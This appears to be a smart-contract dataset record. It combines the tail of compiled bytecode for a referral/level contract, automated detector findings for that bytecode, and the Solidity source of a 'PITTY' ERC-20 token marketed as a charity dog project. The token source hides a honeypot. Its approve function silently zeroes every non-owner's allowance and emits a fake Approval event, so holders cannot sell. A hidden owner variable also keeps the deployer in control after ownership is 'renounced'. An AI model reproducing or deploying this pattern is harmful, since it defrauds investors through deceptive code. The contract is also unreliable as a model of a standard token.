0018281038252601a8152602001807f5573657220697320616c7265616479207265676973746572656400000000000081525060200191505060405180910390fd5b8060008111801561123f57506007548111155b6112b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f496e76616c69642072656665727265722049440000000000000000000000000081525060200191505060405180910390fd5b6001600a600082815260200190815260200160002054341461133b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f496e76616c6964206c6576656c20616d6f756e742073656e740000000000000081525060200191505060405180910390fd5b600060019050600254600560006006600088815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201805490501061144357600560006114026006600088815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612026565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015493505b60076000815480929190600101919050555060405180606001604052806007548152602001858152602001600060405190808252806020026020018201604052801561149e5781602001602082028036833780820191505090505b50815250600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000155602082015181600101556040820151816002019080519060200190611511929190614461565b509050503360066000600754815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061157281612ac4565b4201600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600083815260200190815260200160002081905550600560006006600087815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201339080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506116ab8133613032565b6006600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fefffd168f9bcad9af2b2c24e22e39380303bafa6b19dc2438263c57dfdc0b28c426040518082815260200191505060405180910390a350505050565b600042611757836001611b9c565b1015611766576000905061185a565b42611772836002611b9c565b1015611781576001905061185a565b4261178d836003611b9c565b101561179c576002905061185a565b426117a8836004611b9c565b10156117b7576003905061185a565b426117c3836005611b9c565b10156117d2576004905061185a565b426117de836006611b9c565b10156117ed576005905061185a565b426117f9836007611b9c565b1015611808576006905061185a565b42611814836008611b9c565b1015611823576007905061185a565b4261182f836009611b9c565b101561183e576008905061185a565b4261184a83600a611b9c565b1015611859576009905061185a565b5b919050565b6060600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206005018054806020026020016040519081016040528092919081815260200182805480156118ed57602002820191906000526020600020905b8154815260200190600101908083116118d9575b50505050509050919050565b60096020528060005260406000206000915090505481565b6060600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030180548060200260200160405190810160405280929190818152602001828054801561199f57602002820191906000526020600020905b81548152602001906001019080831161198b575b50505050509050919050565b600e6020528060005260406000206000915090508060000154905081565b6060600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201805480602002602001604051908101604052809291908181526020018280548015611a8d57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611a43575b50505050509050919050565b6060600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201805480602002602001604051908101604052809291908181526020018280548015611b5d57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611b13575b50505050509050919050565b60066020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600083815260200190815260200160002054905092915050565b6060600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201805480602002602001604051908101604052809291908181526020018280548015611cbe57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611c74575b50505050509050919050565b6060600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101805480602002602001604051908101604052809291908181526020018280548015611d5857602002820191906000526020600020905b815481526020019060010190808311611d44575b50505050509050919050565b6060600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401805480602002602001604051908101604052809291908181526020018280548015611df257602002820191906000526020600020905b815481526020019060010190808311611dde575b50505050509050919050565b600d6020528060005260406000206000915090508060000154905081565b6060600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101805480602002602001604051908101604052809291908181526020018280548015611eaa57602002820191906000526020600020905b815481526020019060010190808311611e96575b50505050509050919050565b6060600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301805480602002602001604051908101604052809291908181526020018280548015611f4457602002820191906000526020600020905b815481526020019060010190808311611f30575b50505050509050919050565b60056020528060005260406000206000915090508060000154908060010154905082565b600a6020528060005260406000206000915090505481565b6060600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040180548060200260200160405190810160405280929190818152602001828054801561201a57602002820191906000526020600020905b815481526020019060010190808311612006575b50505050509050919050565b6000600254600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020180549050101561207f578190506124ff565b6120876144eb565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002016000815481106120d557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16816000610660811061210e57fe5b602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160018154811061219357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681600161066081106121cc57fe5b602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600080600090505b613ffe81101561245557600254600560008584610660811061222957fe5b602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020180549050101561228e578281610660811061228257fe5b60200201519150612455565b611fff811061229c57612448565b60056000848361066081106122ad57fe5b602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002016000815481106122fb57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168360026001840102610660811061233957fe5b602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600560008483610660811061238157fe5b602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002016001815481106123cf57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168360016002600185010201610660811061241057fe5b602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250505b808060010191505061220b565b50600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156124f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f5265666572726572206e6f7420666f756e64000000000000000000000000000081525060200191505060405180910390fd5b80925050505b919050565b60086020528060005260406000206000915090505481565b6000804261252b846001611b9c565b1015612582576001600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001548191509150915061289a565b4261258e846002611b9c565b10156125e5576002600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001548191509150915061289a565b426125f1846003611b9c565b1015612648576003600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001548191509150915061289a565b42612654846004611b9c565b10156126ab576004600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001548191509150915061289a565b426126b7846005611b9c565b101561270d5760058060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001548191509150915061289a565b42612719846006611b9c565b1015612770576006600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001548191509150915061289a565b4261277c846007611b9c565b10156127d3576007600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001548191509150915061289a565b426127df846008611b9c565b1015612836576008600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001548191509150915061289a565b42612842846009611b9c565b1015612899576009600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001548191509150915061289a565b5b915091565b600080821115806128dc5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156128e957829050612a24565b3073ffffffffffffffffffffffffffffffffffffffff1663cf40ae2860066000600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600185036040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060206040518083038186803b1580156129e657600080fd5b505afa1580156129fa573d6000803e3d6000fd5b505050506040513d6020811015612a1057600080fd5b810190808051906020019092919050505090505b92915050565b6060600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101805480602002602001604051908101604052809291908181526020018280548015612ab857602002820191906000526020600020905b815481526020019060010190808311612aa4575b50505050509050919050565b60006005821015612ad9576003549050612adf565b60045490505b919050565b6060600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301805480602002602001604051908101604052809291908181526020018280548015612b7257602002820191906000526020600020905b815481526020019060010190808311612b5e575b50505050509050919050565b60075481565b6060600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201805480602002602001604051908101604052809291908181526020018280548015612c4857602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311612bfe575b50505050509050919050565b600b6020528060005260406000206000915090505481565b600c6020528060005260406000206000915090508060000154905081565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541415612d43576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f5573657220646f6573206e6f742065786973740000000000000000000000000081525060200191505060405180910390fd5b80600081118015612d5657506001548111155b612dc8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f496e76616c6964206c6576656c20656e7465726564000000000000000000000081525060200191505060405180910390fd5b81600a6000828152602001908152602001600020543414612e51576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f496e76616c6964206c6576656c20616d6f756e742073656e740000000000000081525060200191505060405180910390fd5b60006001840390505b6000811115612ef05742612e6e3383611b9c565b1015612ee2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f4275792070726576696f7573206c6576656c206669727374000000000000000081525060200191505060405180910390fd5b808060019003915050612e5a565b506000612efd3385611b9c565b1415612f6a57612f0c83612ac4565b4201600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600085815260200190815260200160002081905550612fd4565b612f7383612ac4565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003016000858152602001908152602001600020600082825401925050819055505b612fde8333613032565b823373ffffffffffffffffffffffffffffffffffffffff167faa9c5ea0815809ae6234afa73aef7d42ef76537c06d6ce8f00f38c9c4dd94c97426040518082815260200191505060405180910390a3505050565b60008290506000613043838361289f565b9050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561309f576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505b6000600b600086815260200190815260200160002054905060008090506000803490506000600190505b848111613cab576130da888261289f565b9550831561344557600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001549080600181540180825580915050600190039060005260206000200160009091909190915055600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201869080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600b60008b815260200190815260200160002054600960008c815260200190815260200160002054600860008d8152602001908152602001600020543403038161334157fe5b049080600181540180825580915050600190039060005260206000200160009091909190915055600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206004016133b387611749565b908060018154018082558091505060019003906000526020600020016000909190919091505560009350883373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f41daddfd368d96253845e0cdc137e41d708bf217e034d8a5265fa3b14ff8bb2160006040518082815260200191505060405180910390a45b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141580156134e857506000600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008b81526020019081526020016000205414806134e75750426134e5878b611b9c565b105b5b1561350157600193508480600101955050859250613c9e565b60009350600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561355f576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1695505b8573ffffffffffffffffffffffffffffffffffffffff166108fc600b60008c815260200190815260200160002054600960008d815260200190815260200160002054600860008e815260200190815260200160002054340303816135bf57fe5b049081150290604051600060405180830381858888f1935050505015613c9d57600b60008a815260200190815260200160002054600960008b815260200190815260200160002054600860008c8152602001908152602001600020543403038161362557fe5b0482039150600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154600c60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001549080600181540180825580915050600190039060005260206000200160009091909190915055600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201339080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600b60008b815260200190815260200160002054600960008c815260200190815260200160002054600860008d815260200190815260200160002054600a60008e81526020019081526020016000205403038161389c57fe5b049080600181540180825580915050600190039060005260206000200160009091909190915055600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001549080600181540180825580915050600190039060005260206000200160009091909190915055600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201869080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600b60008b815260200190815260200160002054600960008c815260200190815260200160002054600860008d815260200190815260200160002054600a60008e815260200190815260200160002054030381613b3557fe5b049080600181540180825580915050600190039060005260206000200160009091909190915055600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401613ba787611749565b9080600181540180825580915050600190039060005260206000200160009091909190915055600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600501819080600181540180825580915050600190039060005260206000200160009091909190915055883373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f7630b7dd8ad8bdf6478cf39a9cedd305bc3e7505c84289b12c4045de3cf05db7426040518082815260200191505060405180910390a45b5b80806001019150506130c9565b50600060066000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff166108fc600960008c8152602001908152602001600020549081150290604051600060405180830381858888f193505050501561437357600960008a81526020019081526020016000205482039150600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550600c60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001549080600181540180825580915050600190039060005260206000200160009091909190915055600c60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201339080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600960008b8152602001908152602001600020549080600181540180825580915050600190039060005260206000200160009091909190915055600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001549080600181540180825580915050600190039060005260206000200160009091909190915055600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600960008b8152602001908152602001600020549080600181540180825580915050600190039060005260206000200160009091909190915055600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040161427c82611749565b9080600181540180825580915050600190039060005260206000200160009091909190915055600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060050160019080600181540180825580915050600190039060005260206000200160009091909190915055883373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f7630b7dd8ad8bdf6478cf39a9cedd305bc3e7505c84289b12c4045de3cf05db7426040518082815260200191505060405180910390a45b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501561445657883373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7630b7dd8ad8bdf6478cf39a9cedd305bc3e7505c84289b12c4045de3cf05db7426040518082815260200191505060405180910390a45b505050505050505050565b8280548282559060005260206000209081019282156144da579160200282015b828111156144d95782518260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555091602001919060010190614481565b5b5090506144e7919061450f565b5090565b6040518061cc00016040528061066090602082028036833780820191505090505090565b61454f91905b8082111561454b57600081816101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905550600101614515565b5090565b9056fea2646970667358221220802967dca7670fb1d4ee19771bbefaffe028a5eb10ca9bd68d6434631eb34b4564736f6c63430006030033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "msg-value-loop", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 2,414 |
0x622f3ec558308b41b447a7f6785f4075533c185a
|
/**
*Submitted for verification at Etherscan.io on 2021-11-20
*/
/*
ERC 20- coin project as well as a collection of 5,000 generative
Pits made with a goal to give back big to the pit community.
Our team is experienced in both the dog space and crypto space- we are
here to spread awareness, build a community- and most of all help some pups.�
〰️ AMAS
〰️ 10% TAX
〰️ NFTs complete
〰️ Magazine Feature
http://t.me/PittyErc20
http://discord.gg/zU5upXkU
https://pittynft.com/
https://twitter.com/pittys_1?s=21
https://instagram.com/pittys_1
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract PITTY is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000* 10**6* 10**18;
string private _name = 'PITTY';
string private _symbol = 'Pitty ';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
